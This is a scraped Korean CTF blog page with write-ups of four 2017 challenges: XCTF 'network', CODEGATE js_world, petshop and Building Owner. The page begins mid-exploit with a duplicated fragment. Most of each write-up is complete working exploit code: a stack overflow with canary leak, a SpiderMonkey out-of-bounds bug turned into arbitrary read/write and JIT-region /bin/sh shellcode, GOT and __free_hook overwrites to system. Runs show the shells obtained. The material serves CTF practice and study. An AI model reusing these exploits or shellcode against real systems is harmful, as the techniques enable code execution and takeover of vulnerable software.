############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff)

# index (&length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



Exploit

#!/usr/bin/python

from pwn import *

def t_send(idx, broad, data):
sl('8')
ss(p32(idx)+p32(broad))
assert len(data) == 0x1c or len(data) == 0x108
sl(str(len(data)))
ss(data)


s = process('./network')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send


raw_input('>>>')

rl()
rl()
rl()

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&name_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)

libc_one_gadget = libc_base + 0xf02a4
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x0011e70

pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff) # name_size
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



############# menu3 quit -> rip control ############################
pay = ''
pay += p32(0x100)
pay += p32(0x0)
pay += p32(0x3)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################

s.interactive()
s.close()

$ python ex.py
[+] Starting local process './network': pid 5975
>>>
0x862574030b0f8200
0x7efd55335000
[*] Switching to interactive mode
\x04
bye~!
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF > 2017' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04
CODEGATE 2017 FINAL - Building Owner  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

blackperl security blog에서 포스트 읽다가 기억난 김에 풀어본 문제.

글 읽고 익스를 새로 짜봤다.


https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/



Files


-rwxr-xr-x 1 pwn3r pwn3r 5857384 Feb 12  2017 js
-rwxr-xr-x 1 pwn3r pwn3r 95155 Feb 12 2017 jsarray.cpp
-rw-r--r-- 1 pwn3r pwn3r 95297 Feb 12 2017 jsarray_original.cpp


Mozilla의 SpiderMonkey Javascript engine을 취약하게 패치한 문제.

3개의 파일이 주어졌다. (1) 인터프리터 (2) 패치 된 jsarray.cpp (3) 패치 전 jsarray_original.cpp

인터프리터를 실행하면 아래와 같이 원하는 javascript 구문을 실행할 수 있다.

$ ./js
js> print('hello')
hello

$ ./js hello.js
hello



Diffing (jsarray.cpp  vs  jsarray_original.cpp)




jsarray.cpp에서 pop attribute를 약간 수정했다. 기존(우측)에 index == 0일때 아무런 작업도 이루어지지 않도록 check가 있지만, 패치 된 소스에서는 index == 0일 때도 pop이 이루어진다. 따라서 length가 0일때 pop을 하면, length = -1(0xffffffff)이 될 수 있다. 이는 oob(out of boundary) read/write로 이어진다.


$ ./js
js>
a = new Array(1);
[,]
js>
a.pop();
js>
a.pop();
js>
a.length;
4294967295 // 0xffffffff



OOB RW -> Arbitrary RW


length가 0xffffffff 이기 때문에 기존 arr array 뒤에 있는 데이터를 읽거나 쓸 수 있다.
memory leak을 위해 뒤에 있는 임의의 객체(arr[0x301])를 읽어본다.

$ ./js
js> var arr = new Array(1);

js> arr.length; 1
js> arr[0x301];

js> // no...

js> arr.pop();
js> arr.pop();
js> arr.length 4294967295
js> arr[0x301] 6.9411824707387e-310

// yes!!


length가 4294967295가 되었으므로 arr[0x301]에 있는 데이터를 leak 할 수 있지만, array에서는 number 표현범위를 넘어가는 값은 Float scientific notation으로 표시한다.(6.9411824707387e-310)  
데이터를 가공할 때 편의를 위해 Float scientific notation <-> number를 변환해주는 함수를 정의한다. 

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
js> hex(mem_to_value(arr[0x301]))
"0x7fc6a1f264e0"


OOB RW -> Arbitrary RW

이제 내가 원하는 형태로 메모리 값을 읽어와 가공할 수 있다. 다음으로 할 일은 Arbitrary r/w가 가능하게 하는 것이다.
oob를 발생시킬 arr을 선언한 직후, arr2 = Uint32Arrary(0x900)를 선언하여 arr | .... | arr2 형태로 힙을 구성한다.
arr에서 oob write로 arr2의 포인터를 조작하고, arr2[0], arr2[1]에서 데이터를 read or write 함으로써 Arbitrary read/write를 달성한다. 코드를 작성하면 아래와 같다.

arr = new Array(1);

arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

.............................

.............................


function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


arr을 기준으로 arr2 객체의 index를 찾기 위해 arr2의 length인 0x900을 검색했다.

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


이제 Arbitrary read/write가 가능하므로 어떤 부분을 overwrite 하여 exploit 할지 결정하면 된다.

공부를 위해 2가지 방법으로 풀이해봤다. 


(1) stack 주소를 leak해서 return address를 overwrite

(2) 반복된 코드를 이용해 JIT 영역을 생성 후, JIT 영역에 shellcode overwrite




(1) Way 1 - overwrite return address


사실 이 방법으로 풀이하는 것은 굉장히 간단하다.


 1. javascript heap에서 vtable 포인터를 찾아 pie_base를 구한다.

2. pie_base로 계산한 got에서 libc주소를 구한다.

3. libc_argv에서 stack주소를 구한다.

4. main's return address에 one gadget 주소를 overwrite 한다.


위 순서로 stack 주소를 알아내고 return address를 덮어썼다.


var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

.........................
.........................


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);


Full exploit  

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;

function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);




(2) Way 2 - overwrite JIT area


SpiderMonkey javascript engine은 반복되는 코드가 있으면, rwx 권한의 JIT area를 할당하고 반복되는 코드에 대해 native code를 생성하여 JIT area에 write한다. 이후 반복되는 코드를 수행하면 JIT area에 있는 native code를 실행하여 실행속도를 높인다.


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


// create JIT area
for(i=0; i<40; i++){
repeat_me();
}


위 코드가 수행되고 나면 아래와 같이 rwx 영역이 생성되고, JIT area에 repeat_me() 함수에 대한 native code가 생성된다.


7ffff79a0000-7ffff79b9000 r-xp 00000000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff79b9000-7ffff7bb8000 ---p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb8000-7ffff7bb9000 r--p 00018000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb9000-7ffff7bba000 rw-p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bba000-7ffff7bd2000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7f9c000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7fe7000-7ffff7ff7000 rwxp 00000000 00:00 0                          // JIT area
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]


디버깅을 통해 메모리에서 repeat_me함수의 코드가 있는 JIT area 주소를 찾아보았다. 그 때, JIT area를 가리키는 포인터 주변에 0x2000000020f 라는 상수값이 있는 것을 확인했고, 이를 기준으로 JIT area의 주소를 얻어왔다.


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);


주소를 알아냈으니 shellcode를 overwrite 하고 repeat_me() 함수를 호출하면 된다. shellcraft로 생성한 x64 /bin/sh shellcode를 사용했다.


function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();





Full exploit

function mem_to_value(m){
var res = 0;
var t = new Float64Array([m]);

t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}


function hex(n){
return "0x"+n.toString(16);
}


function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);


// trigger vuln
// arr.length = 0xffffffff
arr.pop();
arr.pop();


// find arr2 object by size(0x900)
var arr2_idx = 0;

for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


b = Math.cos(0x34);
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
c = Math.cos(0x56);


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);

function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();


Run exploit

$ ./js ex_stack.js
js_heap base : 0x7f1db8200000
pie_base : 0x55d26f6df000
libc_base : 0x7f1db89d1000

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



$
./js ex_jit.js
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF > 2017' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04
CODEGATE 2017 FINAL - Building Owner  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : Pwnables 


petshop

Summary : c++, value assign miss


Exploit

#!/usr/bin/python


from pwn import *

from struct import pack, unpack


def c_set(s, name, sound, feed):

s.sendline('4') # set


        # overflow for leak

        s.recvuntil('select for set:')

s.sendline('1') # animal1


s.recvuntil('name:')

s.sendline(name)


s.recvuntil('sound:')

s.sendline(sound)


s.recvuntil('feed:')

s.sendline(feed)


def c_setname(s, person):

        s.sendline('6') # set name


        s.recvuntil('What\'s your name?')

        s.sendline(person)





setvbuf_got = 0x604030


p = lambda x: pack("<Q", x)

up = lambda x : unpack("<Q", x)[0]


#s = process('./loader')

s = remote('0', 7979)

s.recvuntil('select:\n')

s.sendline('1') # buy

s.recvuntil('select:\n')

s.sendline('1') # cat


s.recvuntil('select:\n')

s.sendline('1') # buy

s.recvuntil('select:\n')

s.sendline('1') # cat


c_setname(s, 'a'*8)


c_set(s, 'cat', 'meow', 'a'*12+(p(setvbuf_got)[:4]))


s.recvuntil('select:\n')

s.sendline('5')

s.recvuntil('person:')


leaked = up(s.recvline()[:-1])

libc_base = leaked - 0x71230

print 'libc base : ', hex(libc_base)


system_libc = libc_base + 0x456a0

destring_got = 0x604068


command = 'sh;'


c_set(s, 'cat', 'meow', 'a'*12+(p(destring_got)[:7]))

c_setname(s, (p(system_libc)[:7]))


c_set(s, 'cat', 'meow', 'a'*12+command)

s.sendline('2') # sell


s.interactive()






'CTF > 2017' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04
CODEGATE 2017 FINAL - Building Owner  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : Pwnables 


owner


Summary : type confusion, c++, free heap



Exploit

#!/usr/bin/python


from pwn import *

from struct import pack, unpack

p = lambda x : pack("<Q", x)

up = lambda x : unpack("<Q", x)[0]

HOST = 'cykor.kr'

PORT = 7979


def create_apart(s, name, floor, house, desc):

s.sendline('1')

s.recvuntil('> ')

s.recvuntil('? \n')

s.sendline(name)

s.recvuntil('? ')

s.sendline(str(floor))

s.recvuntil('? ')

s.sendline(str(house))

s.recvuntil(': ')

s.sendline(desc)



def m(s, menu):

s.sendline(str(menu))

s.recvuntil('> ')



s = remote(HOST, PORT)

create_apart(s, 'pwn3r', 45, 45, 'pwn3r') # apart1

create_apart(s, 'pwn4r', 45, 45, 'pwn4r') # apart2

#create_apart(s, 'pwn5r', 45, 45, 'pwn5r') # apart3


m(s, 4) # manage

m(s, 2) # manage - change buliding

m(s, 1) # type - apartment

m(s, 1) # from apart1

m(s, 2) # to restaurant

m(s, 4) # back (now manage)


m(s, 1) # manage - edit

m(s, 1) # type - apartment

m(s, 1) # apart2

m(s, 1) # 1. name

s.recvuntil('Enter new name : ')

s.sendline('B'*0x70)

m(s, 5) # back (now edit)


# memory leak

m(s, 3)    # type - restaurant

m(s, 1)    # apart1

s.recvuntil('Normal price of menu : ')

leaked = int(s.recvline())

print hex(leaked)

main_arena_ptr = leaked - 0x90

m(s, 6) # 6. Normal price of menu

s.sendline(str(main_arena_ptr))

m(s, 9) # back (now edit)

m(s, 1) # type - apartment

m(s, 1) # apart2

s.recvuntil('Name : ')

main_arena = up(s.recvline()[:8]) - 88

libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

libc_base = main_arena -0x3c1b00#libc.symbols['main_arena']


#libc.symbols['main_arena'] = main_arena

free_hook = libc_base +libc.symbols['__free_hook']

system_libc = libc_base + libc.symbols['system']

m(s, 5) # back (now edit)

m(s, 3) # type - restaurant

m(s, 1) # apart1

m(s, 6) # 6. Normal price of menu

s.sendline(str(free_hook))

m(s, 9) # back (now edit)

m(s, 1) # type - aprtment

m(s, 1) # apart2

m(s, 1) # name edit

s.recvuntil('Enter new name : ')

s.sendline(p(system_libc))

m(s, 5) # back (now edit)

m(s, 3) # type - restaurant

m(s, 1) # apart1

m(s, 6) # 6. Normal price of menu

s.sendline(str(up('/bin/sh\x00')))

m(s, 9) # back (now edit)

m(s, 4) # back (now manage)

m(s, 4) # back (now home)

m(s, 5) # exit


s.interactive()


"""

pwn3r@cykor-ubuntu:~$ python owner_ex.py

[+] Opening connection to cykor.kr on port 7979: Done

0x55c0908f8e50

[*] '/lib/x86_64-linux-gnu/libc-2.24.so'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

[*] Switching to interactive mode

$ id

uid=1011(pwn3r) gid=1011(pwn3r) groups=1011(pwn3r)

""" 


'CTF > 2017' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
CODEGATE 2017 FINAL - petshop  (0) 2017.06.04
CODEGATE 2017 FINAL - Building Owner  (0) 2017.06.04

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  0개가 달렸습니다.
secret